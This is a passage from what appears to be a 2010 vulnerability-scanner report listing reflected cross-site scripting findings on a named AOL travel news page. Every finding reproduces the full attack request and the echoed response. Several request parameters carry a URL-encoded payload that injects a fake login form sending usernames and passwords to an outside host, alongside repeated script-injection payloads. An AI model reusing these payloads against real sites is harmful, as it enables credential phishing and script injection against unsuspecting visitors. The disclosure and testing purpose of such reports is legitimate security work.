C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581"><script>alert(1)</script>%3C%64%69%76%20%73%74%79%6C%65%3D%201D%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%32%32%35%70%78%3B%6C%65%66%74%3A%31%32%36%70%78%3B%68%65%69%67%68%74%3D%31%30%30%70%78%3B%77%69%64%74%68%3D%31%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%46%46%33%33%30%30%2033%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%201D%68%74%74%70%73%3A%2F%2F%69%64%70%2E%73%65%63%75%72%65%70%61%79%6E%65%74%2E%6E%65%74%2F%73%68%6F%70%70%65%72%5F%6E%65%77%2E%61%73%70%78%3F%63%69%3D%31%30%35%33%30%26%70%72%6F%67%5F%69%64%3D%34%35%39%34%36%39%26%73%70%6B%65%79%3D%53%50%53%57%4E%45%54%2D%43%4F%52%50%57%45%42%31%31%35%201D%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%75%73%65%72%201D%3E%3C%62%72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E=1d609a<script>alert(1)</script>7fda5379807 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: news.travel.aol.com

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:55:33 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:55:32 GMT; path=/
Content-Type: text/html
Content-Length: 101722

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
1%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E=1d609a<script>alert(1)</script>7fda5379807" />
...[SNIP]...

1.10. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/15/what-happens-if-you-decline-a-full-body-scan/

Issue detail

The value of the 34581"><script>alert(1)</script><div%20style request parameter is copied into the name of an HTML tag. The payload 540f1><script>alert(1)</script>e4e5fd8a94 was submitted in the 34581"><script>alert(1)</script><div%20style parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581"><script>alert(1)</script><div%20style=540f1><script>alert(1)</script>e4e5fd8a94 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: news.travel.aol.com

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:19 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:18 GMT; path=/
Content-Type: text/html
Content-Length: 96913

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<div%20style=540f1><script>alert(1)</script>e4e5fd8a94" />
...[SNIP]...

1.11. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/15/what-happens-if-you-decline-a-full-body-scan/

Issue detail

The value of the 34581"><script>alert(1)</script><div%20style request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 13d48><script>alert(1)</script>856c5a47dbd was submitted in the 34581"><script>alert(1)</script><div%20style parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581"><script>alert(1)</script><div%20style=.position:absolute;top:225px;left:126px;height=100px;width=100px;z-index:1;background-color:13d48><script>alert(1)</script>856c5a47dbd HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: news.travel.aol.com

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:30 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:29 GMT; path=/
Content-Type: text/html
Content-Length: 97244

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<div%20style=.position:absolute;top:225px;left:126px;height=100px;width=100px;z-index:1;background-color:13d48><script>alert(1)</script>856c5a47dbd" />
...[SNIP]...

1.12. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/15/what-happens-if-you-decline-a-full-body-scan/

Issue detail

The value of the 34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM request parameter is copied into the HTML document as plain text between tags. The payload dcc33<script>alert(1)</script>50362bce9f5 was submitted in the 34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM=1dcc33<script>alert(1)</script>50362bce9f5 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: news.travel.aol.com

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:33 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:32 GMT; path=/
Content-Type: text/html
Content-Length: 97009

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM=1dcc33<script>alert(1)</script>50362bce9f5" />
...[SNIP]...

1.13. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM%3C%64%69%76%20%73%74%79%6C%65%3D%201D%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%32%32%35%70%78%3B%6C%65%66%74%3A%31%32%36%70%78%3B%68%65%69%67%68%74%3D%31%30%30%70%78%3B%77%69%64%74%68%3D%31%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%46%46%33%33%30%30%2033%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%201D%68%74%74%70%73%3A%2F%2F%69%64%70%2E%73%65%63%75%72%65%70%61%79%6E%65%74%2E%6E%65%74%2F%73%68%6F%70%70%65%72%5F%6E%65%77%2E%61%73%70%78%3F%63%69%3D%31%30%35%33%30%26%70%72%6F%67%5F%69%64%3D%34%35%39%34%36%39%26%73%70%6B%65%79%3D%53%50%53%57%4E%45%54%2D%43%4F%52%50%57%45%42%31%31%35%201D%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%75%73%65%72%201D%3E%3C%62%72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/15/what-happens-if-you-decline-a-full-body-scan/

Issue detail

The value of the 34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM%3C%64%69%76%20%73%74%79%6C%65%3D%201D%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%32%32%35%70%78%3B%6C%65%66%74%3A%31%32%36%70%78%3B%68%65%69%67%68%74%3D%31%30%30%70%78%3B%77%69%64%74%68%3D%31%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%46%46%33%33%30%30%2033%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%201D%68%74%74%70%73%3A%2F%2F%69%64%70%2E%73%65%63%75%72%65%70%61%79%6E%65%74%2E%6E%65%74%2F%73%68%6F%70%70%65%72%5F%6E%65%77%2E%61%73%70%78%3F%63%69%3D%31%30%35%33%30%26%70%72%6F%67%5F%69%64%3D%34%35%39%34%36%39%26%73%70%6B%65%79%3D%53%50%53%57%4E%45%54%2D%43%4F%52%50%57%45%42%31%31%35%201D%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%75%73%65%72%201D%3E%3C%62%72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E request parameter is copied into the HTML document as plain text between tags. The payload e09a7<script>alert(1)</script>56807fab0de was submitted in the 34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM%3C%64%69%76%20%73%74%79%6C%65%3D%201D%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%32%32%35%70%78%3B%6C%65%66%74%3A%31%32%36%70%78%3B%68%65%69%67%68%74%3D%31%30%30%70%78%3B%77%69%64%74%68%3D%31%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%46%46%33%33%30%30%2033%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%201D%68%74%74%70%73%3A%2F%2F%69%64%70%2E%73%65%63%75%72%65%70%61%79%6E%65%74%2E%6E%65%74%2F%73%68%6F%70%70%65%72%5F%6E%65%77%2E%61%73%70%78%3F%63%69%3D%31%30%35%33%30%26%70%72%6F%67%5F%69%64%3D%34%35%39%34%36%39%26%73%70%6B%65%79%3D%53%50%53%57%4E%45%54%2D%43%4F%52%50%57%45%42%31%31%35%201D%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%75%73%65%72%201D%3E%3C%62%72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM%3C%64%69%76%20%73%74%79%6C%65%3D%201D%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%32%32%35%70%78%3B%6C%65%66%74%3A%31%32%36%70%78%3B%68%65%69%67%68%74%3D%31%30%30%70%78%3B%77%69%64%74%68%3D%31%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%31%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%23%46%46%33%33%30%30%2033%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%201D%68%74%74%70%73%3A%2F%2F%69%64%70%2E%73%65%63%75%72%65%70%61%79%6E%65%74%2E%6E%65%74%2F%73%68%6F%70%70%65%72%5F%6E%65%77%2E%61%73%70%78%3F%63%69%3D%31%30%35%33%30%26%70%72%6F%67%5F%69%64%3D%34%35%39%34%36%39%26%73%70%6B%65%79%3D%53%50%53%57%4E%45%54%2D%43%4F%52%50%57%45%42%31%31%35%201D%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%75%73%65%72%201D%3E%3C%62%72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%74%65%78%74%201D%20%6E%61%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E=1e09a7<script>alert(1)</script>56807fab0de HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: news.travel.aol.com

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:38 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:37 GMT; path=/
Content-Type: text/html
Content-Length: 101862

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
1%6D%65%3D%201D%70%61%73%73%201D%3E%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%201D%73%75%62%6D%69%74%201D%20%76%61%6C%75%65%3D%201D%4C%6F%67%6F%6E%201D%3E%3C%2F%66%6F%72%6D%3E%3C%2F%64%69%76%3E=1e09a7<script>alert(1)</script>56807fab0de" />
...[SNIP]...

1.14. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/15/what-happens-if-you-decline-a-full-body-scan/

Issue detail

The value of the 34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM<div%20style request parameter is copied into the name of an HTML tag. The payload 445b4><script>alert(1)</script>c53df9003a7 was submitted in the 34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM<div%20style parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM<div%20style=445b4><script>alert(1)</script>c53df9003a7 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: news.travel.aol.com

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:15 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:14 GMT; path=/
Content-Type: text/html
Content-Length: 97055

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<div%20style=445b4><script>alert(1)</script>c53df9003a7" />
...[SNIP]...

1.15. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [34581">HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/15/what-happens-if-you-decline-a-full-body-scan/

Issue detail

The value of the 34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM<div%20style request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload e2d2e><script>alert(1)</script>d1f68c79379 was submitted in the 34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM<div%20style parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581"><script>alert(1)</script>HOYT.LLC.XSS.PoC.11.17.2010.NEWS.TRAVEL.AOL.COM<div%20style=.position:absolute;top:225px;left:126px;height=100px;width=100px;z-index:1;background-color:e2d2e><script>alert(1)</script>d1f68c79379 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: news.travel.aol.com

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:21 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:20 GMT; path=/
Content-Type: text/html
Content-Length: 97388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<div%20style=.position:absolute;top:225px;left:126px;height=100px;width=100px;z-index:1;background-color:e2d2e><script>alert(1)</script>d1f68c79379" />
...[SNIP]...

1.16. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/15/what-happens-if-you-decline-a-full-body-scan/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c56a1"><script>alert(1)</script>139c06a1c87 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581&c56a1"><script>alert(1)</script>139c06a1c87=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:55:31 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:55:30 GMT; path=/
Keep-Alive: timeout=5, max=999998
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 96770

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/?34581&c56a1"><script>alert(1)</script>139c06a1c87=1" />
...[SNIP]...

1.17. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/ [ncid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/15/what-happens-if-you-decline-a-full-body-scan/

Issue detail

The value of the ncid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d0ce"><script>alert(1)</script>fc5ac591a00 was submitted in the ncid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/?ncid=AOLCOMMtravsharartl00018d0ce"><script>alert(1)</script>fc5ac591a00 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:13 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:12 GMT; path=/
Keep-Alive: timeout=5, max=999986
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 96826

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/?ncid=AOLCOMMtravsharartl00018d0ce"><script>alert(1)</script>fc5ac591a00" />
...[SNIP]...

1.18. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/2 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/15/what-happens-if-you-decline-a-full-body-scan/2

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0833"><script>alert(1)</script>0fc70464cf3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/2?d0833"><script>alert(1)</script>0fc70464cf3=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:45 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:44 GMT; path=/
Keep-Alive: timeout=5, max=999998
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 97039

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/2?d0833"><script>alert(1)</script>0fc70464cf3=1" />
...[SNIP]...

1.19. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/3 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/15/what-happens-if-you-decline-a-full-body-scan/3

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fd847"><script>alert(1)</script>ef87fa0bd5e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/3?fd847"><script>alert(1)</script>ef87fa0bd5e=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
